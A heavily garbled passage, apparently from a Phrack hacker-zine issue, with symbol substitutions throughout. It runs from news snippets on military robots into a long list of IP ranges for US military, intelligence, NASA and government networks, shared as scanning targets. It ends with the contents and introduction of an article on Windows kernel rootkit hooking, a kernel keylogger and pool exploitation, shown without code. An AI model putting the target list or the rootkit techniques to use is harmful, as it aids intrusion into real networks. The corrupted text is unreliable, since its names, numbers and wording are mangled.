team. #he name deri0es from attem*ts to trick an emer1enc"
ser0ices o*erator Ca >L11 o*erator>D into dis*atchin1 a @')#
C@*ecial 'ea*ons and #rainin1D team to a location under false
*retense.
--------------------------------------------------------------------
'hat next2
htt*EWW(lo1.3ired.comWdefenseWF00JW11W(lack-kni1ht.html
--------------------------------------------------------------------
'e no3 kno3 that there are ro(otic cars smart enou1h to dri0e
themsel0es around a cit". #he next ste*E 1i0e those 0ehicles
automatic 3ea*ons, of course.
=r the troo*s can sta" 9ust chill out, and let the thin1 dri0e
itself. #he ,ni1ht uses >ad0anced ro(otic technolo1" for
autonomous mo(ilit",> accordin1 to !)/. >#his ca*a(ilit" allo3s
the !lack ,ni1ht to *lan routes, maneu0er on the *lanned route,
and a0oid o(stacles - all 3ithout o*erator inter0ention.>
--------------------------------------------------------------------
htt*EWW(lo1.3ired.comWdefenseWF00KW01Wisrael-thinkin1.html
--------------------------------------------------------------------
@o Israeli militar" leaders ha0e (e1un earl" *lannin1 for a ne3,
ro(otic defense s"stem, armed 3ith enou1h artificial intelli1ence
that it >could take o0er com*letel"> from flesh-and-(lood
o*erators. >It 3ill (e desi1ned for... autonomous o*erations,8
!ri1. 6en. 4aniel Ailo, commander of Israel8s air defense forces,
tells 4efense 5e3s8 !ar(ara =*all-+ome. )nd in the e0ent of a
>doomsda"> strike, =*all-+ome notes, the s"stem could handle
>attacks that exceed *h"siolo1ical limits of human command.>
&o3 do "ou sa" >@k"net> in &e(re3, a1ain2
--------------------------------------------------------------------
htt*EWW333.reuters.comWarticleWoddl"/nou1h5e3sWid<@#FJ.0-FF00K040K2feed#"*e=+@@Mfe
ed5ame=oddl"/nou1h5e3sMr*c=FFMs*=true
--------------------------------------------------------------------
+o(ots could fill the 9o(s of H.. million *eo*le in 1ra"in1 Ia*an
(" F0F., a thinktank sa"s, hel*in1 to a0ert 3orker shorta1es as
the countr"8s *o*ulation shrinks.
$are1i0ers 3ould sa0e more than an hour a da" if ro(ots hel*ed
look after children, older *eo*le and did some house3ork, it
added. +o(otic duties could include readin1 (ooks out loud or
hel*in1 (athe the elderl".
--------------------------------------------------------------------
4on8t dro* the soa*.
--[ .. Aeanin1ful IP addresses --
&ere are some IP addresses that *eo*le send us...3e ha0en8t tried an"thin1
so don8t (lame us. If "ou ha0e more ran1es feel free to share.
!ut (efore, the (est IP list is *ro(a(l" the one on cr"*tomeE
htt*EWWcr"*tome.or1Wnsa-i*-u*date14.htm
-----
+)56/ -
-.O - )rm" Information @"stems $enter
+)56/ J
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+)56/ 11
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'ashin1ton 4$
+)56/ F1
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+)56/ FF
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+)56/ F4
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+)56/ F.
F..O.O.O +o"al @i1nals and +adar /sta(lishment, <,
+)56/ F-
F-.O - 4efense Information @"stems )1enc"
+)56/ FL
FL.O - 4efense Information @"stems )1enc"
+)56/ H0
H0.O - 4efense Information @"stems )1enc"
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+)56/ .0
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+)56/ ..
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+)56/ 1FK
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1FK..0.0.0 4e*artment of 4efense
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1FK.FH-.0.0 <.@. )ir ;orce )cadem"
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1FL.1HL.0.0 )rm" )rmament +esearch 4e0elo*ment and /n1ineerin1 $enter
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1H1.H0.0.0 -F $@W@$@5#
1H1.HF.0.0 HJ $ommunications @:uadron
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1H1..4.0.0 )ir ;orce $oncentrator 5et3ork
1H1..-.0.0 <**er &e"ford )ir ;orce !ase
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1H1.J1.0.0 - 1H1.J1.F...F.. 5)V)% )VI)#I=5 4/P=# $&/++7 P=
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1H-.14L.0.0 )ir ;orce Ailitar" Personnel $enter
+)56/ 1H-
1H-.1JK.0.0 5)@) +esearch 5et3ork
1H-.1KK.0.0 - 1H-.1LJ.F...F.. 4efense Intelli1ence )1enc"
1H-.F0J.0.0 -Lth @i1nal !attalion
1H-.F0K.0.0 &X, .th @i1nal $ommand
1H-.F0L.0.0 &X .th @i1nal $ommand
1H-.F10.0.0 &X .th @i1nal $ommand
1H-.F1F.0.0 &X .th @i1nal $ommand
1H-.F1H.0.0 &X, .th @i1nal $ommand
1H-.F14.0.0 &X, .th @i1nal $ommand
1H-.F1..0.0 &X, .th @i1nal $ommand
1H-.F1-.0.0 &X, .th @i1nal $ommand
1H-.F1J.0.0 &X, .th @i1nal $ommand
1H-.F1K.0.0 &X, .th @i1nal $ommand
1H-.F1L.0.0 &X, .th @i1nal $ommand
1H-.FF0.0.0 &X, .th @i1nal $ommand
1H-.FF1.0.0 &X, .th @i1nal $ommand
1H-.FFF.0.0 &X, .th @i1nal $ommand
+)56/ 1HJ
1HJ.1.0.0 'hiteman )ir ;orce !ase
1HJ.F.0.0 6eor1e )ir ;orce !ase
1HJ.H.0.0 %ittle +ock )ir ;orce !ase
1HJ.4.0.0 - 1HJ.4.F...F.. 4HJ $@W@$
1HJ...0.0 )ir ;orce $oncentrator 5et3ork
1HJ.-.0.0 )ir ;orce $oncentrator 5et3ork
1HJ.11.0.0 &X );@P$W@$55$
1HJ.1F.0.0 )ir ;orce $oncentrator 5et3ork
1HJ.1J.O 5ational )eros*ace %a(orator"
1HJ.F4.0.0 5a0al @urface 'arfare $enter
1HJ.FL.0.0 ;irst @*ecial =*erations $ommand
1HJ.-J.0.0 5a0al 'arfare )ssessment $enter
1HJ.L4.O +o"al Ailitar" $olle1e
1HJ.L..O &ead:uarters, <.@. /uro*ean $ommand
1HJ.1F-.0.0 <@); A)+@
1HJ.1FJ.O )rm" $once*ts )nal"sis )1enc"
1HJ.1FK.O <.@. )+A7 #ank-)utomoti0e $ommand
1HJ.1H0.0.0 4efense Information @"stems )1enc"
1HJ.F0L.0.0 4efense Information @"stems )1enc"
1HJ.F10.0.0 4efense Information @"stems )1enc"
1HJ.F11.0.0 4efense Information @"stems )1enc"
1HJ.F1F.0.0 4efense Information @"stems )1enc"
1HJ.FH1.0.0 &X .th @i1nal $ommand
1HJ.FHF.0.0 4efense Information @"stems )1enc"
1HJ.FHH.0.0 4efense Information @"stems )1enc"
1HJ.FH4.0.0 4efense Information @"stems )1enc"
1HJ.FH..0.0 4efense Information @"stems )1enc"
1HJ.F40.0.0 )ir ;orce Aateriel $ommand
1HJ.F41.0.0 J. )!'
1HJ.F4F.0.0 )ir ;orce %o1istics $ommand
1HJ.F4H.0.0 JJ $@W@$$5
1HJ.F44.0.0 JK $@W@$@$
1HJ.F4..0.0 'ri1ht Patterson )ir ;orce !ase
1HJ.F4-.0.0 <nited @tates )tlantic $ommand Ioint #rainin1
+)56/ 1HK
1HK.1H.0.0 )ir ;orce @"stems $ommand
1HK.FJ.0.0 )rm" Information @"stems $ommand
1HK..0.0.0 &X .th @i1nal $ommand
1HK.-..0.0 &X, .th @i1nal $ommand
1HK.J-.0.0 5)@) &ead:uarters
1HK.10L.0.0 5a0al @urface 'arfare $enter
1HK.11..0.0 5)@) Information and /lectronic @"stems %a(orator"
1HK.1H..0.0 - 1HK.1H..F...F.. 4/;/5@/ P+=$/@@I56 $/5#/+P/+)% &)+!=+
1HK.1H-.0.0 - 1HK.1H-.F...F.. 5a0" $om*uters and #elecommunications
@tation
1HK.1HJ.0.0 5a0" +e1ional 4ata )utomation $enter C5)+4)$D
1HK.1HL.0.0 Aarine $or*s )ir @tation
1HK.140.0.0 5a0" +e1ional 4ata )utomation $enter
1HK.141.0.0 5a0" +e1ional 4ata )utomation $enter
1HK.14F.0.0 5a0" +e1ional 4ata )utomation $enter
1HK.14H.0.0 5a0" +e1ional 4ata )utomation $enter
1HK.144.0.0 5)V$=A#/%$=A
1HK.14..0.0 5$#@ ')@&I56#=5
1HK.14-.0.0 5$#$
1HK.14J.0.0 5$#$
1HK.14K.0.0 5$#$
1HK.14L.0.0 5$#$
1HK.1.0.0.0 5$#$
1HK.1.1.0.0 5$#$
1HK.1.F.0.0 5$#$
1HK.1.H.0.0 7okosuka 5a0al !ase
1HK.1.4.0.0 5$#$
1HK.1...0.0 5$#$
1HK.1.-.0.0 Aarine $or*s $entral 4esi1n M Pro1. )cti0it"
1HK.1.J.0.0 - 1HK.1.J.F...F.. Aarine $or*s $entral 4esi1n M Pro1.
)cti0it"
1HK.1.K.0.0 Aarine $or*s $entral 4esi1n M Pro1. )cti0it"
1HK.1.L.0.0 5$#$
1HK.1-0.0.0 5a0al )ir @tation
1HK.1-1.0.0 5$#$
1HK.1-F.0.0 5$#$
1HK.1-H.0.0 5$#$
1HK.1-4.0.0 5$#$
1HK.1-..0.0 5$#$
1HK.1--.0.0 5$#$
1HK.1-J.0.0 5=$, A$#@@), /ast
1HK.1-K.0.0 Aarine $or*s $entral 4esi1n M Pro1. )cti0it"
1HK.1-L.0.0 5)V)% $=AP<#/+ )54 #/%/$=AA
1HK.1-L.1F.0 5)V)% $=AP<#/+ )54 #/%/$=AA
1HK.1-L.1H.0 5)V)% $=AP<#/+ )54 #/%/$=AA
1HK.1J0.0.0 5$#$
1HK.1J1.0.0 5$#$
1HK.1JF.0.0 5$#$
1HK.1JH.0.0 5$#$
1HK.1J4.0.0 5$#$
1HK.1J..0.0 5$#$
1HK.1J-.0.0 5$#$
1HK.1JJ.0.0 5$#@ Pensacola
1HK.1JK.0.0 5$#$
1HK.1JL.0.0 5$#$
1HK.1K0.0.0 5$#$
1HK.1K1.0.0 5$#$
1HK.1KF.0.0 $5= 5-0
1HK.1KH.0.0 5$#$
1HK.1K4.0.0 5$#@
1HK.1LH.0.0 5)@)W7ello3 $reek
+)56/ 1HL
1HL.H1.0.0 F0th #actical ;i1hter 'in1
1HL.HF.0.0 4Kth #actical ;i1hter 'in1
1HL.HH.0.0 H-th #actical ;i1hter 'in1
1HL.H4.0.0 .Fnd #actical ;i1hter 'in1
1HL.H..0.0 .0th #actical ;i1hter 'in1
1HL.H-.0.0 --th /lectronic $om(at 'in1
1HL.HJ.0.0 F-th #actical +econnaissance 'in1
1HL.HK.0.0 HFnd #actical ;i1hter @:uadron
1HL.HL.0.0 K1st #actical ;i1hter 'in1
1HL.40.0.0 10th #actical ;i1hter 'in1
1HL.41.0.0 HLth #actical )ir $ontrol 6rou*
1HL.4F.0.0 40th #actical )ir $ontrol 6rou*
1HL.4H.0.0 401st #actical ;i1hter 'in1
1HL.1F4.O +eseau Infomrati:ue
1HL.14F.O.O
+)56/ 140
140.1.0.0 4efense Information @"stems )1enc"
140.H.0.0 4efense Information @"stems )1enc"
140.4.0.0 4efense Information @"stems )1enc"
140...0.0 4efense Information @"stems )1enc"
140.-.0.0 4efense Information @"stems )1enc"
140.J.0.0 4efense Information @"stems )1enc"
140.K.0.0 4efense Information @"stems )1enc"
140.L.0.0 4efense Information @"stems )1enc"
140.10.0.0 4efense Information @"stems )1enc"
140.11.0.0 4efense Information @"stems )1enc"
140.1F.0.0 4efense Information @"stems )1enc"
140.1H.0.0 4efense Information @"stems )1enc"
140.14.0.0 4I@) $olum(us %e0el II 5=$
140.1..0.0 4efense Information @"stems )1enc"
140.1-.0.0 4efense Information @"stems )1enc"
140.1J.0.0 4efense Information @"stems )1enc"
140.1K.0.0 4efense Information @"stems )1enc"
140.1L.0.0 4efense Information @"stems )1enc"
140.F0.0.0 4efense Information @"stems )1enc"
140.F1.0.0 4efense Information @"stems )1enc"
140.FF.0.0 4efense Information @"stems )1enc"
140.FH.0.0 4efense Information @"stems )1enc"
140.F4.0.0 )@I$ )%%I)5$/-A)+%!=+=
140.F..0.0 4efense Information @"stems )1enc"
140.F-.0.0 4efense Information @"stems )1enc"
140.FJ.0.0 4efense Information @"stems )1enc"
140.FK.0.0 4efense Information @"stems )1enc"
140.FL.0.0 4efense Information @"stems )1enc"
140.H0.0.0 4efense Information @"stems )1enc"
140.H1.0.0 4efense Information @"stems )1enc"
140.HF.0.0 4efense Information @"stems )1enc"
140.HH.0.0 4efense Information @"stems )1enc"
140.H4.0.0 4efense Information @"stems )1enc"
140.H..0.0 4efense Information @"stems )1enc"
140.H-.0.0 4efense Information @"stems )1enc"
140.HJ.0.0 4efense Information @"stems )1enc"
140.HK.0.0 4efense Information @"stems )1enc"
140.HL.0.0 4efense Information @"stems )1enc"
140.40.0.0 4efense Information @"stems )1enc"
140.41.0.0 4efense Information @"stems )1enc"
140.4F.0.0 4efense Information @"stems )1enc"
140.4H.0.0 4efense Information @"stems )1enc"
140.44.0.0 4efense Information @"stems )1enc"
140.4..0.0 4efense Information @"stems )1enc"
140.4-.0.0 4efense Information @"stems )1enc"
140.4J.0.0 - 140.4J.F...F.. 4efense Information @"stems )1enc"
140.4J.0.0 - 140.4K.F...F.. 4=4 5et3ork Information $enter
140.4K.0.0 - 140.4K.F...F.. 4efense Information @"stems )1enc"
140.4L.0.0 4efense Information @"stems )1enc"
140..0.0.0 4efense Information @"stems )1enc"
140..1.0.0 4efense Information @"stems )1enc"
140..F.0.0 4efense Information @"stems )1enc"
140..H.0.0 4efense Information @"stems )1enc"
140..4.0.0 4efense Information @"stems )1enc"
140....0.0 4efense Information @"stems )1enc"
140..-.0.0 4efense Information @"stems )1enc"
140..J.0.0 4efense Information @"stems )1enc"
140..K.0.0 4efense Information @"stems )1enc"
140..L.0.0 4efense Information @"stems )1enc"
140.-0.0.0 4efense Information @"stems )1enc"
140.-1.0.0 4efense Information @"stems )1enc"
140.-F.0.0 4efense Information @"stems )1enc"
140.-H.0.0 4efense Information @"stems )1enc"
140.-4.0.0 4efense Information @"stems )1enc"
140.-..0.0 4efense Information @"stems )1enc"
140.--.0.0 4efense Information @"stems )1enc"
140.-J.0.0 4efense Information @"stems )1enc"
140.-K.0.0 4efense Information @"stems )1enc"
140.-L.0.0 4efense Information @"stems )1enc"
140.J0.0.0 4efense Information @"stems )1enc"
140.J1.0.0 4efense Information @"stems )1enc"
140.JF.0.0 4efense Information @"stems )1enc"
140.JH.0.0 4efense Information @"stems )1enc"
140.J4.0.0 - 140.J4.F...F.. 4efense Information @"stems )1enc"
140.100.0.0 5a0al @ea @"stems $ommand
140.1HL.0.0 &X <@ )rm" Aedical +esearch and 4e0elo*ment $ommand
140.1.4.0.0 &X .th @i1nal $ommand
140.1...0.0 &X, .th @i1nal $ommand
140.1.-.0.0 &X, .th @i1nal $ommand
140.1J..0.0 @cott )ir ;orce !ase
140.1JK.0.0 5a0al <ndersea 'arfare $enter 4i0ision, ,e"*ort
140.1KJ.0.0 ;ort !ra11
140.1L4.0.0 <@ )rm" $or*s of /n1ineers
140.1L..0.0 5a0al @ea @"stems $ommand
140.1LL.0.0 5a0al =cean @"stems $enter
140.F01.0.0 &X, .th @i1nal $ommand
140.F0F.0.0 10-#& @I65)% !+I6)4/
+)56/ 14H
14H.4..0.0 .Kth @i1nal !attalion
14H.4-.0.0 <.@. )rm", 1141st @i1nal !attalion
14H.-K.0.0 &ead:uarters, <@)I@$
14H.-L.0.0 &ead:uarters, <@))I@$
14H.J0.0.0 &ead:uarters, <@))I@$
14H.J1.0.0 &ead:uarters, <@))I@$
14H.JF.0.0 &ead:uarters, <@))I@$
14H.JH.0.0 &ead:uarters, <@))I@$
14H.J4.0.0 &ead:uarters, <@))I@$
14H.J..0.0 &ead:uarters, <@))I@$
14H.J-.0.0 &ead:uarters, <@))I@$
14H.JJ.0.0 &ead:uarters, <@))I@$
14H.JK.0.0 &ead:uarters, <@))I@$
14H.JL.0.0 &ead:uarters, <@))I@$
14H.K0.0.0 &ead:uarters, <@))I@$
14H.K1.0.0 &ead:uarters, <@))I@$
14H.KF.0.0 &ead:uarters, <@))I@$
14H.K4.0.0 &ead:uarters, <@))I@$
14H.K..0.0 &ead:uarters, <@))I@$
14H.K-.0.0 &ead:uarters, <@))I@$
14H.KJ.0.0 &ead:uarters, <@))I@$
14H.FHF.0.0 5)@) )mes +esearch $enter
+)56/ 144
144.LL.0.0 <nited @tates )rm" Information @"stems $ommand
144.10L.0.0 )rm" Information @"stems $ommand
144.14H.0.0 &ead:uarters, #hird <nited @tates )rm"
144.144.0.0 &ead:uarters, #hird <nited @tates )rm"
144.14-.0.0 $ommander, )rm" Information @"stems $enter
144.14J.0.0 $ommander, )rm" Information @"stems $enter
144.1J0.0.0 &X, .th @i1nal $ommand
144.1LF.0.0 <nited @tates )rm" Information @er0ices $ommand-$am*(ell
144.FHH.0.0 4efense Intelli1ence )1enc"
144.FH4.0.0 4efense Intelli1ence )1enc"
144.FH..0.0 4efense Intelli1ence )1enc"
144.FH-.0.0 4efense Intelli1ence )1enc"
144.FHJ.0.0 4efense Intelli1ence )1enc"
144.FHK.0.0 4efense Intelli1ence )1enc"
144.FHL.0.0 4efense Intelli1ence )1enc"
144.F40.0.0 4efense Intelli1ence )1enc"
144.F41.0.0 4efense Intelli1ence )1enc"
144.F4F.0.0 4efense Intelli1ence )1enc"
144.F.F.0.0 <.@. )rm" %)!$=A
+)56/ 14-
14-.1J.0.0 &X, .th @i1nal $ommand
14-.K0.0.0 4efence +esearch )1enc"
14-.LK.0.0 &X <nited @tates /uro*ean $ommand
14-.1.4.0.0 5)@)WIohnson @*ace $enter
14-.1-..0.0 5)@) %an1le" +esearch $enter
+)56/ 14J
14J.H..0.0 &X, .th @i1nal $ommand
14J.H-.0.0 &X, .th @i1nal $ommand
14J.HJ.0.0 &X, .th @i1nal $ommand
14J.HK.0.0 &X, .th @i1nal $ommand
14J.HL.0.0 &X, .th @i1nal $ommand
14J.40.0.0 &X, .th @i1nal $ommand
14J.4F.0.0 )rm" $)%@ Pro9ect
14J.10H.0.0 )rm" Information @"stems @oft3are $enter
14J.104.0.0 )rm" Information @"stems @oft3are $enter
14J.1.L.0.0 5a0al )ir 'arfare $enter, )ircraft 4i0ision
14J.1-K.0.0 5a0al @urface 'arfare $enter
14J.1-L.0.0 &X, .th @i1nal $ommand
14J.1LK.0.0 )rm" Information @"stems $ommand
14J.1LL.0.0 )rm" Information @"stems $ommand
14J.FHK.0.0 )rm" Information @"stems $ommand
14J.FHL.0.0 111Fth @i1nal !attalion
14J.F40.0.0 <@ )rm" #ank-)utomoti0e $ommand
14J.F4F.0.0 1Lth @u**ort $ommand
14J.F4K.0.0 ;ort Aonroe 4=IA
14J.F.4.0.0 Jth $ommunications 6rou*
+)56/ 14K
14K.114.0.0 5)@), @tennis @*ace $enter
+)56/ 1.0
1.0.11H.0.0 1114th @i1nal !attalion
1.0.114.0.0 1114th @i1nal !attalion
1.0.1F..0.0 @*ace and 5a0al 'arfare $ommand
1.0.1HH.0.0 10th )rea @u**ort 6rou*
1.0.144.0.0 5)@) 6oodard @*ace ;li1ht $enter
1.0.14L.0.0 )rm" Information @"stems $ommand
1.0.1.J.0.0 <@)I@$-;ort %ee
1.0.1K4.0.0 ;ort Aonroe 4=IA
1.0.1L0.0.0 <@)I@$-%etterkenn"
1.0.1L-.0.0 <@)I@$-%)!$=A
+)56/ 1.F
1.F.KF.0.0 Jth $ommunications 6rou* of the )ir ;orce
1.F.1.1.0.0 <.@. 5a0al @*ace M 5a0al 'arfare @"stems $ommand
1.F.1.F.0.0 5)#= &ead:uarters
1.F.1.4.0.0 4efense Information @"stems )1enc"
1.F.FFL.0.0 4efense Ae1a$enter C4A$D 4en0er
+)56/ 1.H
1.H.F1.0.0 <@$/5#);W@$A
1.H.FF.0.0 <@$/5#);W@$A
1.H.FH.0.0 <@$/5#);W@$A
1.H.F4.0.0 <@$/5#);W@$A
1.H.F..0.0 <@$/5#);W@$A
1.H.F-.0.0 <@$/5#);W@$A
1.H.FJ.0.0 <@$/5#);W@$A
1.H.FK.0.0 <@$/5#);W@$A
1.H.FL.0.0 <@$/5#);W@$A
1.H.H0.0.0 <@$/5#);W@$A
1.H.H1.0.0 ;ederal !ureau of In0esti1ation
+)56/ 1..
1.....0.0 1141st @i1nal !n
1...-.0.0 1141st @i1nal !n
1...J.0.0 )merican ;orces Information
1...K.0.0 <.@. )rm";ort 6ordon
1...L.0.0 - 1...L.F...F.. <nited @tates )rm" Information @"stems $ommand
1...J4.0.0 P/= @#)AI@
1...J..0.0 <@ )rm" $or*s of /n1ineers
1...J-.0.0 P/= @#)AI@
1...JJ.0.0 P/= @#)AI@
1...JK.0.0 P/= @#)AI@
1...JL.0.0 <@ )rm" $or*s of /n1ineers
1...K0.0.0 P/= @#)AI@
1...K1.0.0 P/= @#)AI@
1...KF.0.0 P/= @#)AI@
1...KH.0.0 <@ )rm" $or*s of /n1iners
1...K4.0.0 P/= @#)AI@
1...K..0.0 P/= @#)AI@
1...K-.0.0 <@ )rm" $or*s of /n1ineers
1...KJ.0.0 P/= @#)AI@
1...KK.0.0 P/= @#)AI@
1...L-.0.0 4ru1 /nforcement )dministration
1...14L.0.0 111Fth @i1nal !attalion
1...1...0.0 &X, .th @i1nal $ommand
1...1JK.0.0 ;ederal )0iation )dministration
1...F1H.0.0 <@)I@$ ;ort !ennin1
1...F14.0.0 4irector of Information Aana1ement
1...F1..0.0 <@)I@$-;# 4+<A
1...F1-.0.0 #$)$$I@ Pro9ect Aana1ement =ffice
1...F1J.0.0 4irectorate of Information Aana1ement
1...F1K.0.0 <@)I@$
1...F1L.0.0 4=IAW<@)I@$ ;ort @ill
1...FF0.0.0 <@)I@$-4=IA
1...FF1.0.0 <@)I@$-;t =rd
+)56/ 1.-
1.-.L.0.0 <. @. Aarshals @er0ice
+)56/ 1.J
1.J.1.0.0.0 <nited 5ations
1.J.1.H.0.0 $=AA)54/+ 5)V)% @<+;)$/ <.@. P)$I;I$ ;%//#
1.J.F0F.0.0 <@ @*ecial =*erations $ommand
1.J.F1J.0.0 <. @. @trate1ic $ommand
+)56/ 1.K
1.K.1.0.0 $ommander, #ooele )rm" 4e*ot
1.K.F.0.0 <@)A$ %o1istics @u**ort )cti0it"
1.K.H.0.0 <.@. )rm" #)$=A
1.K.4.0.0 <)@I@$ ;t. $arson
1.K...0.0 111Fth @i1nal !attalion
1.K.-.0.0 <@)I@$-;t. Ac$o"
1.K.J.0.0 <@)I@$-;%'
1.K.K.0.0 <@ )rm" @oldier @u**ort $enter
1.K.L.0.0 <@)I@$-$/$=A
1.K.10.0.0 6=$
1.K.11.0.0 <)@I@$-Vint &ill
1.K.1F.0.0 <@ )rm" &arr" 4iamond %a(oratories
1.K.1H.0.0 <@)I@$ 4=IA
1.K.14.0.0 111Fth @i1nal !attalion
1.K.1..0.0 - 1.K.1..F...F.. 4efense Ae1acenter &unts0ille
1.K.1-.0.0 +ock" Aountain )rsenal CPA+A)D
1.K.1J.0.0 $rane )rm" )mmunition )cti0it"
1.K.1K.0.0 4efense ;inance M )ccountin1 @er0ice $enter
1.K.1L.0.0 4=IA
1.K.F0.0.0 4=IA
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F0J.-0.K4.0 - F0J.-0.K4.F.. @trate1ic @olutions
F0J.-0.L4.0 - F0J.-0.L4.1. Ac'orks
F0J.-0.L4.HF - F0J.-0.L4.4J +oone" +eal/state
F0J.-0.L4.4K - F0J.-0.L4.-H Iose*h %imo @er0ice
F0J.-0.L4.-4 - F0J.-0.L4.JL #he Portico 6rou*
F0J.-0.L4.K0 - F0J.-0.L4.L. /0ent #ra0el Aana1ement Inc
F0J.-0.L4.L- - F0J.-0.L4.111 Intellitech International
F0J.-0.L4.1FK - F0J.-0.L4.14H =rion Partners
F0J.-0.L4.144 - F0J.-0.L4.1.L +ain(o3 @oft3are @olution
F0J.-0.L4.1-0 - F0J.-0.L4.1J. 6rason @tadler Inc
F0J.-0.L4.1LF - F0J.-0.L4.F0J 4onne1an @"stem
F0J.-0.L..1 - F0J.-0.L..F.. #he I*rax $or*
F0J.-0.10F.0 - F0J.-0.10F.-H $o*orate I#
F0J.-0.10F.-4 - F0J.-0.10F.1FJ Putnam #echnolo1ies
F0J.-0.10F.1FK - F0J.-0.10F.1L1 @"camore 5et3orks
F0J.-0.10F.1LF - F0J.-0.10F.F.. !ostek
F2J.-2.102.1FK - F0J.-0.10H.F.. %ouis !er1er and )ssociates
F0J.-0.104.1FK - F0J.-0.104.1L1 &anson 4ata @"stems
F0J.-0.10-.1FK - F0J.-0.10-.F.. 6i1anet Inc.
F0J.-0.10J.0 - F0J.-0.10J.F.. +oll @"stems
F0J.-0.10K.K - F0J.-0.10K.1. InternetX)
F0J.-0.111.0 - F0J.-0.111.H1 +eadin1 $oo*erati0e !ank
F0J.-0.111.HF - F0J.-0.111.-H /dco colla(orati0e
F0J.-0.111.-4 - F0J.-0.111.L. 4#$ $ommunications Inc
F0J.-0.111.L- - F0J.-0.111.1FJ Aike %ine
F0J.-0.111.1FK - F0J.-0.111.1.L #he @te**in1stone ;oundation
F0J.-0.111.1-0 - F0J.-0.111.1L1 $aton $onnector
F0J.-0.111.1LF - F0J.-0.111.FFH +efron
F0J.-0.111.FF4 - F0J.-0.111.F.. 4ola(an" $omm 6rou*
F0J.-0.11F.0 - F0J.-0.11F.F.. #he $$@ $om*anies
F0J.-0.11-.0 - F0J.-0.11-.F.. $ontinental P/# #echnolo1ies
F0J.-0.1FF.1- - F0J.-0.1FF.FH $ore" M $om*an" 4esi1ners Inc
F0J.-0.1FF.F4 - F0J.-0.1FF.H1 @)I$
F0J.-0.1FF.HF - F0J.-0.1FF.HL 5etser0e /ntertainment 6rou*
F0J.-0.1FF.40 - F0J.-0.1FF.4J )0ici @"stems Inc
F0J.-0.1FF.4K - F0J.-0.1FF... 'e(rd3ne
F0J.-0.1FF..- - F0J.-0.1FF.-H +ealit" and 'onder
F0J.-0.1FF.-4 - F0J.-0.1FF.J1 5ishan 4esil0a
F0J.-0.1FF.JF - F0J.-0.1FF.JL 5ema@oft Inc
F0J.-0.1FF.K0 - F0J.-0.1FF.KJ Patrick Aur*h"
F0J.-0.1FF.KK - F0J.-0.1FF.L. $ore" and $om*an"
F0J.-0.1FF.L- - F0J.-0.1FF.10H )mes #extile $or*
F0J.-0.1FF.104 - F0J.-0.1FF.111 Pu(licom
F0J.-0.1FJ.0 - 5orthstar #echnolo1ies
F0J.-0.1FK.0 - F0J.-0.1FK.F.. 5orthstar #echnolo1ies
F0J.-0.1FL.0 - F0J.-0.1FL.F.. @an1a $or*
F0J.-0.1FL.-4 - F0J.-0.1FL.1FJ ;ired <* 5et3ork
F0J.-0.1FL.1FK - F0J.-0.1FL.1L1 Inte1rated 4ata @olutions
F0J.-0.1FL.1LF - F0J.-0.1FL.F.. Aetanext
F0J.-1.O 'orld%inx #elecommunications, Inc., $anada
F0J.1F0.O !!5 Planet, A)
+)56/ F0K
F0K.F40.xxx.xxx
+)56/ F0L
F0L.H..O Interland, Inc., 6)
+)56/ F1F
F1F..-.10J.FF
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F1F.14L.OOO israelis is*8sPP dont tr" those ran1esPP
F1F.1.L.0.F
F1F.1.L.1.1
F1F.1.L.1.4
F1F.1.L.1..
F1F.1.L.0.F
F1F.1.L.1.1
F1F.1.L.1.4
F1F.1.L.1..
F1F.1.L.HH..-
F1F.1.L.40.F11
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F1F.F0K.0.1F.OOO israelis is*8sPP dont tr" those ran1esPP
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+)56/ F1-
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F1J.-.O 4o not scan
--------------------------------
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==Phrack Inc.==
Volume 0x0c, Issue 0x41, Phile #0x04 of 0x0f
|=-----------------------------------------------------------------------=|
|=---=[ @tealth hookin1 E )nother 3a" to su(0ert the 'indo3s kernel =---=|
|=-----------------------------------------------------------------------=|
|=--------------------=[ (" mxatone and i0anlef0u =---------------------=|
|=-----------------------------------------------------------------------=|

1 - Introduction on anti-rookits technolo1ies and ("*ass
1.1 - +ookits and anti-rootkits techni:ues
1.F - )(out kernel le0el *rotections
1.H - $once*t ke"E use kernel code a1ainst itself

F - Introducin1 stealth hookin1 on I4#.
F.1 - &o3 'indo3s mana1e hard3are interru*ts
F.1.1 - &ard3are interru*ts dis*atchin1 on 'indo3s
F.1.F - &ookin1 hard3are I# like a nin9a
F.1.H - )**lication 1 E ,ernel ke"lo11er
F.1.4 - )**lication F E 54I@ incomin1 *ackets sniffer
F.F - $onclusion a(out stealth hookin1 on I4#

H - =3nin1 5onPa1ed *ool usin1 stealth hookin1
H.1 - ,ernel allocation la"out re0ie3
H.1.1 - 4ifference (et3een Pa1ed and 5onPa1ed *ool
H.1.F - 5onPa1ed *ool ta(les
H.1.H - )llocation and free al1orithms
H.F - 6ettin1 code execution a(usin1 allocation code
H.F.1 - 4ata corru*tion of Am5onPa1edPool;ree%ist&ead
H.F.F - /x*end it for e0er" siBe
H.H - /x*loit our *osition
H.H.1 - 6eneric stack redirection
H.H.F - <serland *rocess code in9ection
4 - 4etection
. - $onclusion
- - +eferences
---[ 1 - Introduction on anti-rookits technolo1ies and ("*ass

5o3ada"s rootkits and anti-rootkits are (ecomin1 more and more im*ortant
into the I# securit" landsca*e. %o0ed (" some, hated (" others, rootkits
can (e considered as the hol" 1rail of (ackdoors E stealth", little,
close to hard3are, in1enious, 0icious... #heir control o0er a com*uter
locall" or remotel" make them the (est choice for an attacker.
)nti-rootkits tr" to detect and eradicate those malicious *ro1rams.
+k techni:ues and com*lexit" are e0ol0in1 fast and toda" de0elo*in1 a rk or
anti-rk is a 0er" hard mission.
#his *a*er deals a(out rootkits on 'indo3s *latform. Aore *recisel" a(out
ne3 kind of hi9ackin1 techni:ues that can (e a**lied to the 'indo3s kernel.
+eaders are assumed to (e a3are a(out rootkits techni:ues on 'indo3s.
----[ 1.1 - +ootkits and anti-rootkits technics
) rootkit hi9acks an o*eratin1 s"stem8s (eha0ior. In order to achie0e this
task, it can sim*l" modif" the o*eratin1 s"stem8s (inaries (ut that8s not
0er" stealth". Aost rk8s use hooks on im*ortant functions and chan1e theirs
results. ) (asic hook redirects execution flo3 (" chan1in1 function start
or a function *ointer (ut there is no sin1le 3a" to hook a routine. #he
most common exam*le is the @@4# C@"stem @er0ice 4escri*tor #a(leD, this
ta(le contains the s"scall list 3hich is a set of functions *ointers. If
"ou can modif" a *ointer in this ta(le, "ou are a(le to control the
(eha0ior of one function. #hat8s an exam*le of ho3 rootkits *roceed,
o(0iousl" there is a lot of critical areas that can (e controlled (" an
attacker.
